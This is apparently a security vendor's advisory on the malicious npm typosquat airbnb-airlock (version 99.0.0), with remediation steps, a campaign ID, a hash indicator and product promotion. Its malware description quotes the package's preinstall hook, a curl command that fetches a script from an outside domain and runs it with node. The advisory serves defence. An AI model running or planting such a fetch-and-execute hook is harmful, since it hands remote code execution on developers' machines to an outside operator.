Which versions of airbnb-airlock are malicious?

The following npm versions of airbnb-airlock are flagged malicious: 99.0.0. Treat any of these as compromised.

How do I remediate airbnb-airlock if I installed it?

airbnb-airlock is a typosquat — you almost certainly intended a legitimately-named package. Remove airbnb-airlock, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed airbnb-airlock — how do I know if it already compromised me?

If airbnb-airlock was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is airbnb-airlock part of a known attack campaign?

Yes — airbnb-airlock is associated with the IN-MAL-2026-007205 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find airbnb-airlock across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for airbnb-airlock (version 99.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging airbnb-airlock across your stack and pipelines.

Malicious package

airbnb-airlocknpm

Malicious code in airbnb-airlock (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6293

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall airbnb-airlock

What this malware does

The package's preinstall lifecycle hook in package.json runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js, fetching an unpinned JavaScript file from poc.amanrawat.com and immediately executing it with node during npm install. The fetched content is mutable and entirely controlled by the operator of that domain — installers run whatever bytes are served at install time, with no hash or signature verification. The package ships no other functional content; the remote fetch-and-execute is its only behavior. The package name uses the 'airbnb-' prefix to impersonate the Airbnb open-source namespace while being published by an unrelated author with a placeholder description ('Test') and an inflated version (99.0.0), consistent with namespace impersonation intended to lure installers searching for Airbnb tooling.

Malicious versions

1 flagged

99.0.0

Indicators of compromise (SHA-256)

034fd98a2ccd98f2bec2201d130c5a102ad17907c37af34b5162592e26a0fd43

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for airbnb-airlock (version 99.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging airbnb-airlock across your stack and pipelines.
If you installed it — respond
airbnb-airlock is a typosquat — you almost certainly intended a legitimately-named package. Remove airbnb-airlock, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If airbnb-airlock was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks airbnb-airlock before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. airbnb-airlock on npm has been identified as a malicious package (version 99.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007205

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks airbnb-airlock-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring